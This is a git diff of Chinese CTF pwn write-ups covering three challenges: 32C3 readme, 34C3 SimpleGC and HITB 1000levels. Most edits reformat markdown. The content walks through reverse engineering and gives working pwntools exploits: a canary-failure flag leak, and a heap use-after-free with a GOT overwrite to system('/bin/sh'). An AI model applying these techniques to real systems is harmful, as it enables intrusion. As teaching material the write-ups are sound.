ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7d3dcaa17ebe1662eec1900f735765bd990742f9, stripped $ checksec -f readme.bin RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE No RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 1 2 readme.bin ``` + 开启了 Canary。 flag 就藏在二进制文件中的 .data 段上: -``` + +```text $ rabin2 -z readme.bin | grep 32C3 000 0x00000d20 0x00600d20 31 32 (.data) ascii 32C3_TheServerHasTheFlagHere... ``` 程序接收两次输入,并打印出第一次输入的字符串(看起来并没有格式化字符串漏洞): -``` -$ ./readme.bin + +```text +$ ./readme.bin Hello! -What's your name? %p.%p.%p.%p +What's your name? %p.%p.%p.%p Nice to meet you, %p.%p.%p.%p. Please overwrite the flag: %d.%d.%d.%d Thank you, bye! -$ python -c 'print "A"*300 + "\n" + "B"' > crash_input -$ ./readme.bin < crash_input +$ python -c 'print "A"*300 + "\n" + "B"' > crash_input +$ ./readme.bin < crash_input Hello! What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA. Please overwrite the flag: Thank you, bye! *** stack smashing detected ***: ./readme.bin terminated Aborted (core dumped) -$ python -c 'print "A" + "\n" + "B"*300' | ./readme.bin +$ python -c 'print "A" + "\n" + "B"*300' | ./readme.bin Hello! What's your name? Nice to meet you, A. Please overwrite the flag: Thank you, bye! ``` + 第一次输入的字符串过多会导致栈冲突的问题,第二次的输入似乎就没有什么影响。 感觉和 6.1.13 那题一样,都是需要利用 `__stack_chk_fail()` 打印 flag(参考章节 4.12)。但这一题是动态链接程序,因为 libc-2.25 版本的更新,使 `__stack_chk_fail()` 不能用了。所以为了复现,我们选择Ubuntu 16.04,版本是 libc-2.23。 - ## 题目解析 + 来看一下程序的逻辑: -``` -[0x004006ee]> pdf @ sub.Hello___What_s_your_name_7e0 + +```text +[0x004006ee]> pdf @ sub.Hello___What_s_your_name_7e0 / (fcn) sub.Hello___What_s_your_name_7e0 206 | sub.Hello___What_s_your_name_7e0 (); | ; var int local_108h @ rsp+0x108 @@ -112,22 +117,26 @@ Please overwrite the flag: Thank you, bye! | | 0x004008a4 e887fdffff call sym.imp._exit ; void _exit(int status) | | ; JMP XREF from 0x00400893 (sub.Hello___What_s_your_name_7e0) \ `--> 0x004008a9 e8a2fdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(voi ; 验证失败时调用 -[0x004006ee]> px 0x20 @ str.32C3_TheServerHasTheFlagHere... +[0x004006ee]> px 0x20 @ str.32C3_TheServerHasTheFlagHere... - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x00600d20 3332 4333 5f54 6865 5365 7276 6572 4861 32C3_TheServerHa 0x00600d30 7354 6865 466c 6167 4865 7265 2e2e 2e00 sTheFlagHere.... ``` + 看注释已经很明显了,第一次的输入需要我们触发栈溢出,使程序调用 `__stack_chk_fail()`,并打印出 `argv[0]`。第二次的输入将覆盖掉位于 `0x00600d20` 的 flag。 - ## 漏洞利用 + 那么问题来了,如果 flag 被覆盖掉了,那还怎样将其打印出来。这就涉及到了 ELF 文件的映射问题,我们知道 x86-64 程序的映射是从 `0x400000` 开始的: -``` + +```text $ ld --verbose | grep __executable_start PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS; ``` + 在调试时我们又发现 readme.bin 被映射到下面的两个地址中: -``` + +```text gdb-peda$ b *0x0040080e Breakpoint 1 at 0x40080e gdb-peda$ r @@ -136,18 +145,22 @@ Start End Perm Name 0x00400000 0x00401000 r-xp /home/firmyy/readme.bin 0x00600000 0x00601000 rw-p /home/firmyy/readme.bin ``` + 所以只要在二进制文件 `0x00000000~0x00001000` 范围内的内容都会被映射到内存中,分别以 `0x600000` 和 `0x400000` 作为起始地址 。flag 在 `0x00000d20`,所以会在内存中出现两次,分别位于 `0x00600d20` 和 `0x00400d20`: -``` + +```text gdb-peda$ find 32C3 Searching for '32C3' in: None ranges Found 2 results, display max 2 items: readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...") readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...") ``` + 所以即使 `0x00600d20` 的 flag 被覆盖了,`0x00400d20` 的 flag 依然存在。 让我们来找出 `argv[0]` 距离栈的距离: -``` + +```text gdb-peda$ find /home/firmyy/readme.bin Searching for '/home/firmyy/readme.bin' in: None ranges Found 3 results, display max 3 items: @@ -179,7 +192,9 @@ gdb-peda$ x/10s 0x00007fffffffe097 gdb-peda$ distance $rsp 0x7fffffffdc78 From 0x7fffffffda60 to 0x7fffffffdc78: 536 bytes, 134 dwords ``` + `536=0x218` 个字节。第一次尝试: + ```python from pwn import * @@ -192,12 +207,15 @@ print io.recvall() ``` 在第一个终端里执行下面的命令,相当于远程服务器,并且将 stderr 重定向到 stdout: -``` + +```text $ socat tcp4-listen:10001,reuseaddr,fork exec:./readme.bin,stderr ``` + 然后在第二个终端里执行 exp: -``` -$ python exp.py + +```text +$ python exp.py [+] Opening connection to 127.0.0.1 on port 10001: Done [+] Receiving all data: Done (627B) [*] Closed connection to 127.0.0.1 port 10001 @@ -205,14 +223,17 @@ Hello! What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @. Please overwrite the flag: Thank you, bye! ``` + 咦,flag 并没有在我们执行 exp 的终端里打印出来,反而是打印在了执行程序的终端里: -``` + +```text $ socat tcp4-listen:10001,reuseaddr,fork exec:./readme.bin,stderr *** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated ``` 所以我们需要做点事情,让远程服务器上的错误信息通过网络传到我们的终端里。即利用第二次的输入,将 `LIBC_FATAL_STDERR_=1` 写入到环境变量中。结果如下: -``` + +```text gdb-peda$ x/10gx $rsp+0x218 0x7fffffffdcd8: 0x0000000000400d20 0x0000000000000000 0x7fffffffdce8: 0x0000000000600d20 0x00007fffffffe100 @@ -224,26 +245,28 @@ gdb-peda$ x/s 0x400d20 gdb-peda$ x/s 0x600d20 0x600d20: "LIBC_FATAL_STDERR_=1" ``` + 函数 `__GI___libc_secure_getenv` 成功获取到了环境变量 `LIBC_FATAL_STDERR_` 的值 `1`: -``` + +```text gdb-peda$ ni [----------------------------------registers-----------------------------------] RAX: 0x600d33 --> 0x31 ('1') RBX: 0x7ffff7b9c49f ("*** %s ***: %s terminated\n") -RCX: 0xe -RDX: 0x0 +RCX: 0xe +RDX: 0x0 RSI: 0x7ffff7b9ab8e ("BC_FATAL_STDERR_") RDI: 0x600d22 ("BC_FATAL_STDERR_=1") RBP: 0x7fffffffda80 --> 0x7ffff7b9c481 ("stack smashing detected") -RSP: 0x7fffffffd9f0 --> 0x0 +RSP: 0x7fffffffd9f0 --> 0x0 RIP: 0x7ffff7a8455a (<__libc_message+74>: test rax,rax) -R8 : 0x1010 -R9 : 0x24a -R10: 0x1c7 -R11: 0x0 +R8 : 0x1010 +R9 : 0x24a +R10: 0x1c7 +R11: 0x0 R12: 0x7ffff7b9ac35 ("") R13: 0x7fffffffdcd0 ("AAAAAAAA \r@") -R14: 0x0 +R14: 0x0 R15: 0x1 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] @@ -256,24 +279,25 @@ EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) 0x7ffff7a84562 <__libc_message+82>: jne 0x7ffff7a846f7 <__libc_message+487> 0x7ffff7a84568 <__libc_message+88>: mov esi,0x902 [------------------------------------stack-------------------------------------] -0000| 0x7fffffffd9f0 --> 0x0 -0008| 0x7fffffffd9f8 --> 0x0 -0016| 0x7fffffffda00 --> 0x0 -0024| 0x7fffffffda08 --> 0x10 -0032| 0x7fffffffda10 --> 0x7fffffffda90 --> 0x14 -0040| 0x7fffffffda18 --> 0x7fffffffda20 --> 0x7ffff7dd2620 --> 0xfbad2887 -0048| 0x7fffffffda20 --> 0x7ffff7dd2620 --> 0xfbad2887 -0056| 0x7fffffffda28 --> 0x1 +0000| 0x7fffffffd9f0 --> 0x0 +0008| 0x7fffffffd9f8 --> 0x0 +0016| 0x7fffffffda00 --> 0x0 +0024| 0x7fffffffda08 --> 0x10 +0032| 0x7fffffffda10 --> 0x7fffffffda90 --> 0x14 +0040| 0x7fffffffda18 --> 0x7fffffffda20 --> 0x7ffff7dd2620 --> 0xfbad2887 +0048| 0x7fffffffda20 --> 0x7ffff7dd2620 --> 0xfbad2887 +0056| 0x7fffffffda28 --> 0x1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value __libc_message (do_abort=do_abort@entry=0x1, fmt=fmt@entry=0x7ffff7b9c49f "*** %s ***: %s terminated\n") at ../sysdeps/posix/libc_fatal.c:81 -81 ../sysdeps/posix/libc_fatal.c: No such file or directory. +81 ../sysdeps/posix/libc_fatal.c: No such file or directory. ``` Bingo!!! -``` -$ python exp.py + +```text +$ python exp.py [+] Opening connection to 127.0.0.1 on port 10001: Done [+] Receiving all data: Done (703B) [*] Closed connection to 127.0.0.1 port 10001 @@ -283,8 +307,10 @@ Please overwrite the flag: Thank you, bye! *** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated ``` -#### exploit +### exploit + 最终的 exp 如下: + ```python from pwn import * @@ -301,7 +327,7 @@ io.sendline(payload_2) print io.recvall() ``` - ## 参考资料 -- https://ctftime.org/task/1958 -- https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/readme-200 + +- +- diff --git a/doc/6.1.15_pwn_34c3ctf2017_simplegc.md b/doc/6.1.15_pwn_34c3ctf2017_simplegc.md index 0982fab..5ed68d9 100644 --- a/doc/6.1.15_pwn_34c3ctf2017_simplegc.md +++ b/doc/6.1.15_pwn_34c3ctf2017_simplegc.md @@ -5,12 +5,12 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.15_pwn_34c3ctf2017_simplegc) ## 题目复现 -``` -$ file sgc + +```text +$ file sgc sgc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f7ef90bc896e72ba0c3191a2ce6acb732bf3b172, stripped $ checksec -f sgc RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE @@ -19,9 +19,10 @@ $ strings libc-2.26.so | grep "GNU C" GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2) stable release version 2.26, by Roland McGrath et al. Compiled by GNU CC version 6.4.0 20171010. ``` + 一看 libc-2.26,请参考章节 4.14,tcache 了解一下。然后程序开启了 Canary 和 NX。 -``` +```text 0: Add a user 1: Display a group 2: Display a user @@ -99,15 +100,18 @@ User: Group: B Age: 1 ``` + 玩一下,程序似乎有两个结构分别放置 user 和 group。而且 Edit 功能很有趣,根据选择 y 还是 n 有不同的操作,应该重点看看。 - ## 题目解析 -#### GC + +### GC + main 函数开始会启动一个新的线程,用于垃圾回收,然后才让我们输入菜单的选项。刚开始 r2 并不能识别这个线程函数,用命令 `af` 给它重新分析一下。函数如下: -``` + +```text [0x00400a60]> af @ 0x0040127e -[0x00400a60]> pdf @ fcn.0040127e +[0x00400a60]> pdf @ fcn.0040127e / (fcn) fcn.0040127e 157 | fcn.0040127e (int arg_5fh); | ; var int local_18h @ rbp-0x18 @@ -163,7 +167,9 @@ main 函数开始会启动一个新的线程,用于垃圾回收,然后才让 | : 0x00401314 call sym.imp.sleep ; int sleep(int s) \ `=< 0x00401319 jmp 0x40129b ``` + 从这段代码中我们看出一个结构体 group: + ```c struct group { char *group_name; // group 名 @@ -172,14 +178,16 @@ struct group { struct group *groups[0x60]; ``` + 然后是 0x60 个 group 类型指针构成的数组 groups,其起始地址为 `0x6023e0`。仔细看的话可以发现,这段代码在取 ref_count 值的时候,只取出了一个字节。所以 ref_count 的类型可以推断地更精细一点,为 `uint8_t`。 该垃圾回收函数会遍历 groups,当 groups[i]->count 为 0 时,表示该 group 没有 user 在使用,于是对 groups[i]->group_name 和 groups[i] 分别进行 free 操作,最后把 groups[i] 设置为 0。 最后需要注意的是垃圾回收的周期,在写 exp 的时候要考虑。 -#### add a user -``` +### add a user + +```text [0x00400a60]> pdf @ sub.memset_d58 / (fcn) sub.memset_d58 598 | sub.memset_d58 (); @@ -324,7 +332,9 @@ struct group *groups[0x60]; | 0x00400fac pop rbp \ 0x00400fad ret ``` + 从这个函数中能看出第二个结构体 user: + ```c struct user { uint8_t age; @@ -334,10 +344,12 @@ struct user { struct user *users[0x60]; ``` + 同样的,0x60 个 user 类型指针构成了数组 users,其起始地址为 `0x6020e0`。 我们看到输入的 group 作为参数调用了 sub.strcmp_be0(): -``` + +```text [0x00400a60]> pdf @ sub.strcmp_be0 / (fcn) sub.strcmp_be0 161 | sub.strcmp_be0 (int arg_5fh); @@ -396,10 +408,12 @@ struct user *users[0x60]; | `------> 0x00400c7f leave \ 0x00400c80 ret ``` + 所以这个函数的作用是检查 groups 中是否已经存在同名的 group,如果是,那么将该 group 的 ref_count 加 1,并返回这个 group。否则返回 0。 当返回值为 0 的时候,会调用函数 fcn.00400cdd(),参数为 group: -``` + +```text [0x00400a60]> pdf @ fcn.00400cdd / (fcn) fcn.00400cdd 123 | fcn.00400cdd (int arg_5fh); @@ -449,16 +463,20 @@ struct user *users[0x60]; | 0x00400d56 pop rbp \ 0x00400d57 ret ``` + 该函数在第一个 groups[i] 为 0 的地方创建一个新的 group,将其放入 groups,并返回这个 groups[i]。 总的来说,当添加一个 user 时,首先检查输入的 group 是否存在,如果存在,那么将这个 group->ref_count 加 1,设置 user->group 指向这个 group->group_name,否则新建一个 group,并将新 group->ref_count 设置为 1,同样设置 user->group 指向它。 -#### display +### display + 其中 display-a-user 用于打印出指定 index 的 user,即 users[i]。display-a-group 遍历 users,并打印出指定 group 与 users[i]->group 相同的 users[i]。根据经验,这个功能就是为了泄漏 heap 和 libc 地址的。 -#### edit a group +### edit a group + 我们比较感兴趣的修改 group 操作: -``` + +```text [0x00400a60]> pdf @ sub.Enter_index:_31b / (fcn) sub.Enter_index:_31b 302 | sub.Enter_index:_31b (); @@ -551,13 +569,17 @@ struct user *users[0x60]; | `-> 0x00401447 leave \ 0x00401448 ret ``` + 该函数有两种操作: + - 输入 "y" 时:修改 users[i]->group,于是所有具有相同 group 的 user->group 都被修改了。这样的问题是会造成有两个同名 group 的存在。 - 输入 "n" 时:如果 group 已经存在,则将 group->ref_count 加 1,并设置 users[i]->group 赋值为 group->group_name。否则新建一个 new_group,将 group_ref_count 设置为 1,同样将 users[i]->group 赋值为 new_group->group_name。这里同样存在问题,当修改了一个 user 的 group 之后,原 group->ref_count 并没有减 1,可能会造成溢出。 -#### delete a user +### delete a user + 最后是删除 user 的操作: -``` + +```text [0x00400a60]> pdf @ sub.Enter_index:_1c4 / (fcn) sub.Enter_index:_1c4 186 | sub.Enter_index:_1c4 (); @@ -616,9 +638,11 @@ struct user *users[0x60]; | `-> 0x0040127c leave \ 0x0040127d ret ``` + 其中调用了函数 `sub.strcmp_139()`,如下: -``` -[0x00400a60]> pdf @ sub.strcmp_139 + +```text +[0x00400a60]> pdf @ sub.strcmp_139 / (fcn) sub.strcmp_139 139 | sub.strcmp_139 (int arg_5fh); | ; var int local_18h @ rbp-0x18 @@ -673,14 +697,17 @@ struct user *users[0x60]; | 0x004011c2 leave \ 0x004011c3 ret ``` + 该函数的作用是遍历 groups 寻找与传入 group 相同的 groups[i],然后将 groups[i]->ref_count 减 1。这里有个问题,正如我们在 edit-a-group 分析的,通过修改 group,可能使 groups 中存在两个同名的 group,那么根据这里的逻辑,这两个同名的 group 的 ref_count 都会被减去 1,可能导致 UAF 漏洞。 然后是删除 user 的过程中,只释放了 user 本身和 user->group,而 user->name 没有被释放。可能导致信息泄漏。 - ## 漏洞利用 + 逆向分析完成,来简单地总结一下。 + - 两个结构体和两个由结构体指针构成的数组: + ```c struct group { char *group_name; @@ -696,6 +723,7 @@ struct user { struct user *users[0x60]; // 0x6020e0 struct group *groups[0x60]; // 0x6023e0 ``` + - 添加 user 时将创建 user 结构体,name 字符串两个 chunk - 新建 group 时将创建 group 结构体,group_name 字符串两个 chunk - group 本身和 group->group_name 由 GC 线程来释放 @@ -707,8 +735,10 @@ struct group *groups[0x60]; // 0x6023e0 第一种方法,我们利用 ref_count 溢出的 UAF。 -#### overflow +### overflow + 首先我们来溢出 ref_count: + ```python def overflow(): sleep(1) @@ -722,7 +752,8 @@ def overflow(): ``` 首先说一下 for 循环,前几次当 thread-2 的 tcache 还未装满时,它的操作和下面类似(顺序可能不同): -``` + +```text user: malloc(24)=0x6033c0 <= thread-1 tcache name: malloc(9)=0x6034a0 group_name: malloc(24)=0x6034c0 @@ -733,8 +764,10 @@ user: free(0x6033c0) => thread-1 tcache group_name: free(0x6034c0) => thread-2 tcache group: free(0x6034e0) => thread-2 tcache ``` + 当 thread-2 tcache 装满时,它释放的 chunk 都会被放进 fastbins,于是就可以被 thread-1 取出,下面是第 4 和 第 5 次循环: -``` + +```text user: malloc(24)=0x6033c0 <= thread-1 tcache name: malloc(9)=0x603500 group_name: malloc(24)=0x603520 @@ -745,7 +778,8 @@ user: free(0x6033c0) => thread-1 tcache group_name: free(0x603520) => thread-2 tcache group: free(0x603540) => fastbin ``` -``` + +```text user: malloc(24)=0x6033c0 <= thread-1 tcache name: malloc(9)=0x603540 <== fastbin group_name: malloc(24)=0x603560 @@ -756,13 +790,17 @@ user: free(0x6033c0) => thread-1 tcache group_name: free(0x603560) => fastbin group: free(0x603580) => fastbin ``` + 此时的 thread-1 tcache 和 fastbin 如下所示: -``` + +```text tcache: 0x6033c0 fastbin: 0x603560 -> 0x603580 ``` + 于是第 6 次循环,在第一次从 fastbin 中取出 chunk 后,剩余的 chunk 会被放入 thread-1 tcache(逆序),然后再从 tcache 里取(FILO): -``` + +```text user: malloc(24)=0x6033c0 <= tcache name: malloc(9)=0x603580 <= fastbin (tcache: 0x603560) group_name: malloc(24)=0x603560 <= tcache @@ -773,25 +811,30 @@ user: free(0x6033c0) => tcache group_name: free(0x603560) => fastbin group: free(0x6035a0) => fastbin ``` + 再往后,其实都是重复这个过程。循环结束时的状态为: -``` + +```text gdb-peda$ x/4gx 0x6020e0 0x6020e0: 0x0000000000000000 0x0000000000000000 <-- users[] 0x6020f0: 0x0000000000000000 0x0000000000000000 gdb-peda$ x/4gx 0x6023e0 0x6023e0: 0x00000000006033a0 0x0000000000000000 <-- groups[] 0x6023f0: 0x0000000000000000 0x0000000000000000 -gdb-peda$ x/2gx 0x6033a0 +gdb-peda$ x/2gx 0x6033a0 0x6033a0: 0x0000000000603380 0x00000000000000ff <-- ref_count gdb-peda$ x/2gx 0x603380 0x603380: 0x0000000041414141 0x0000000000000000 <-- group_name ``` -``` + +```text tcache: 0x6033c0 fastbin: 0x603560 -> 0x6054c0 ``` + 紧接着我们再添加一个 user,导致 ref_count 溢出为 `0x100` 后,程序只有只有将低位的 `0x00` 放回 `ref_count`,于是 GC 会将 group_name 和 group struct 依次释放,放进 fastbin。 -``` + +```text user: malloc(24)=0x6033c0 <= tcache name: malloc(9)=0x6054c0 <= fastbin (tcache: 0x603560 ; fastbin: ) @@ -801,8 +844,10 @@ fake group: free(0x6033a0) => fastbin (tcache: 0x603560 ; fastbin: 0x60338 group_name: malloc(24)=0x603560 <= tcache (tcache: ; fastbin: 0x603380 -> 0x6033a0) group: malloc(16)=0x6033a0 <= fastbin (tcache: 0x603380 ; fastbin: ) ``` + 最终结果为: -``` + +```text gdb-peda$ x/4gx 0x6020e0 0x6020e0: 0x00000000006033c0 0x0000000000000000 <-- users[] 0x6020f0: 0x0000000000000000 0x0000000000000000 @@ -818,8 +863,10 @@ gdb-peda$ x/2gx 0x603380 最后将 groups[0] 赋值为 0,表现为 groups[] 为空。但 users[0] 依然存在,users[0]->group 依然指向 `group_name`(`0x603380`),悬指针产生。 -#### uaf and leak +### uaf and leak + 接下来利用悬指针泄漏 libc 的地址: + ```python def leak(): add_user('b'*8, 'B'*4) # group @@ -835,12 +882,16 @@ def leak(): return system_addr ``` + 在执行该函数前的 tcache 如下: -``` + +```text tcache: 0x603380 ``` + 当我们添加一个 user 时,因为 group "BBBB" 不存在,所以首先创建一个 group,然后再创建 user,这个 user struct 将从 thread-1 tcache 中取出。接下来我们修改 user[0]->group 就是修改 user[1]。我们将 strlen@got 写进去,在延迟绑定之后,它将指向 strlen 函数的地址,如下所示: -``` + +```text gdb-peda$ x/4gx 0x6020e0 0x6020e0: 0x00000000006033c0 0x0000000000603380 <-- users[] 0x6020f0: 0x0000000000000000 0x0000000000000000 @@ -854,8 +905,10 @@ gdb-peda$ x/3gx 0x603380 0x603380: 0x0000000000000000 0x0000000000602030 <-- users[1] 0x603390: 0x0000000000602030 <-- fake users[1]->group ``` + 接下来只要 display users[1],就可以将 strlen 的地址打印出来,然而: -``` + +```text gdb-peda$ x/gx 0x602030 0x602030: 0x00007ffff7aa03f0 gdb-peda$ disassemble strlen @@ -867,13 +920,15 @@ Dump of assembler code for function strlen: 0x00007ffff7a8bef9 <+25>: cmp eax,0xc00 0x00007ffff7a8befe <+30>: lea rax,[rip+0x144eb] # 0x7ffff7aa03f0 <__strlen_sse2> 0x00007ffff7a8bf05 <+37>: cmove rax,rdx - 0x00007ffff7a8bf09 <+41>: ret + 0x00007ffff7a8bf09 <+41>: ret End of assembler dump. ``` + strlen@got 指向的并不是 strlen 函数,而是它里面的 `__strlen_sse2`,这就很奇怪了。原因出在这次 [commit](https://sourceware.org/git/?p=glibc.git;a=commit;h=dc485ceb2ac596d27294cc1942adf3181f15e8bf)。libc-2.26 中使用了 AVX2 对 strlen 系列函数进行优化。 那我们修改一下,反正计算偏移的方法是相同的: -``` + +```text gdb-peda$ vmmap libc Start End Perm Name 0x00007ffff79f8000 0x00007ffff7bce000 r-xp /home/firmy/SimpleGC/libc-2.26.so @@ -883,10 +938,13 @@ Start End Perm Name gdb-peda$ p 0x7ffff7aa03f0 - 0x00007ffff79f8000 $2 = 0xa83f0 ``` + 然而就得到了 system 的地址。 -#### get shell +### get shell + 最后只需要修改 strlen@got 为 system@got 就可以了: + ```c def overwrite(system_addr): edit_group(1, "y", p64(system_addr)) # strlen_got -> system_got @@ -895,15 +953,18 @@ def pwn(): add_user("/bin/sh", "B"*4) # system('/bin/sh') io.interactive() ``` -``` + +```text gdb-peda$ x/gx 0x602030 0x602030: 0x00007ffff7a3fdc0 gdb-peda$ p system $1 = {} 0x7ffff7a3fdc0 ``` -#### exploit +### exploit + 完整的 exp 如下: + ```python #!/usr/bin/env python @@ -979,15 +1040,17 @@ if __name__ == "__main__": ``` 虽然这一切看起来都没有问题,但我在运行的时候 system('/bin/sh') 却执行失败了,应该是我的 /bin/sh 不能使用这个 libc 的原因: -``` + +```text LD_PRELOAD=./libc-2.26.so /bin/sh [1] 14834 segmentation fault (core dumped) LD_PRELOAD=./libc-2.26.so /bin/sh ``` + 应该换成 Ubuntu-17.10 试试。(本机Arch) 第二种方法,我们利用两个具有同名 group 的 user 释放时的 UAF。这种方法似乎与 tcache 的关系更大一点。 - ## 参考资料 -- https://ctftime.org/task/5137 -- https://github.com/bkth/34c3ctf/tree/master/SimpleGC + +- +- diff --git a/doc/6.1.16_pwn_hitbctf2017_1000levels.md b/doc/6.1.16_pwn_hitbctf2017_1000levels.md index 9dd0917..6fa746e 100644 --- a/doc/6.1.16_pwn_hitbctf2017_1000levels.md +++ b/doc/6.1.16_pwn_hitbctf2017_1000levels.md @@ -5,12 +5,12 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.16_pwn_hitbctf2017_1000levels) ## 题目复现 -``` -$ file 1000levels + +```text +$ file 1000levels 1000levels: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d0381dfa29216ed7d765936155bbaa3f9501283a, not stripped $ checksec -f 1000levels RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE @@ -19,10 +19,12 @@ $ strings libc-2.23.so | grep "GNU C" GNU C Library (Ubuntu GLIBC 2.23-0ubuntu9) stable release version 2.23, by Roland McGrath et al. Compiled by GNU CC version 5.4.0 20160609. ``` + 关闭了 Canary,开启 NX 和 PIE。于是猜测可能是栈溢出,但需要绕过 ASLR。not stripped 可以说是很开心了。 玩一下: -``` + +```text $ ./1000levels Welcome to 1000levels, it's much more diffcult than before. 1. Go @@ -41,10 +43,12 @@ Level 1 Question: 0 * 0 = ? Answer:0 Great job! You finished 1 levels in 1 seconds ``` + Go 的功能看起来就是让你先输入一个数,然后再输入一个数,两个数相加作为 levels,然后让你做算术。 但是很奇怪的是,如果你使用了 Hint 功能,然后第一个数输入了 0 的时候,无论第二个数是多少,仿佛都会出现无限多的 levels: -``` + +```text $ ./1000levels Welcome to 1000levels, it's much more diffcult than before. 1. Go @@ -78,16 +82,19 @@ Question: 1 * 1 = ? Answer:1 Level 4 Question: 3 * 1 = ? Answer: ``` + 所以应该重点关注一下 Hint 功能。 - ## 题目解析 + 程序比较简单,基本上只有 Go 和 Hint 两个功能。 -#### hint +### hint + 先来看 hint: -``` -[0x000009d0]> pdf @ sym.hint + +```text +[0x000009d0]> pdf @ sym.hint / (fcn) sym.hint 140 | sym.hint (); | ; var int local_110h @ rbp-0x110 @@ -130,15 +137,17 @@ vaddr=0x00201fd0 paddr=0x00001fd0 type=SET_64 system [0x000009d0]> is~show_hint 051 0x0000208c 0x0020208c GLOBAL OBJECT 4 show_hint ``` + 可以看到 `system()` 的地址被复制到栈上(`local_110h`),然后对全局变量 `show_hint` 进行判断,如果为 0,打印字符串 “NO PWN NO FUN”,否则打印 `system()` 的地址。 为了绕过 ASLR,我们需要信息泄漏,如果能够修改 `show_hint`,那我们就可以得到 `system()` 的地址。但是 `show_hint` 放在 `.bss` 段上,程序开启了 PIE,地址随机无法修改。 +### go -#### go 继续看 go: -``` -[0x000009d0]> pdf @ sym.go + +```text +[0x000009d0]> pdf @ sym.go / (fcn) sym.go 372 | sym.go (); | ; var int local_120h @ rbp-0x120 @@ -230,13 +239,15 @@ vaddr=0x00201fd0 paddr=0x00001fd0 type=SET_64 system | `--> 0x00000cee leave \ 0x00000cef ret ``` + 可以看到第一个数 num1 被读到 `local_120h`,如果大于 0,num1 被复制到 `local_110h`,然后读取第二个数 num2 到 `local_120h`,将两个数相加再存到 `local_110h`。但是如果 num1 小于等于 0,程序会直接执行读取 num2 到 `local_120h` 的操作,然后读取 `local_110h` 的数值作为 num1,将两数相加。整个过程都没有对 `local_110h` 进行初始化,程序似乎默认了 `local_110h` 的值是 0,然而事实并非如此。回想一下 hint 操作,放置 system 的地址正是 `local_110h`(两个函数的rbp相同)。这是一个内存未初始化造成的漏洞。 接下来,根据两数相加的和,程序有三条路径,如果和小于 0,程序返回到开始菜单;如果和大于 0 且小于 1000,进入游戏;如果和大于 1000,则将其设置为最大值 1000,进入游戏。 然后来看游戏函数 `sym.level_int()`: -``` -[0x000009d0]> pdf @ sym.level_int + +```text +[0x000009d0]> pdf @ sym.level_int / (fcn) sym.level_int 289 | sym.level_int (); | ; var int local_34h @ rbp-0x34 @@ -337,21 +348,25 @@ vaddr=0x00201fd0 paddr=0x00001fd0 type=SET_64 system | ```--> 0x00000f4c leave \ 0x00000f4d ret ``` + 可以看到 `read()` 函数有一个很明显的栈溢出漏洞,`local_30h` 并没有 `0x400` 这么大的空间。由于游戏是递归的,所以我们需要答对前 999 道题,在最后一题时溢出,构造 ROP。 - ## 漏洞利用 + 总结一下,程序存在两个漏洞: + - hint 函数将 system 放到栈上,而 go 函数在使用该地址时未进行初始化 - level 函数存在栈溢出 关于利用的问题也有两个: + - 虽然 system 被放到了栈上,但我们不能设置其参数 - 程序开启了 PIE,但没有可以进行信息泄漏的漏洞 对于第一个问题,我们有不需要参数的 one-gadget 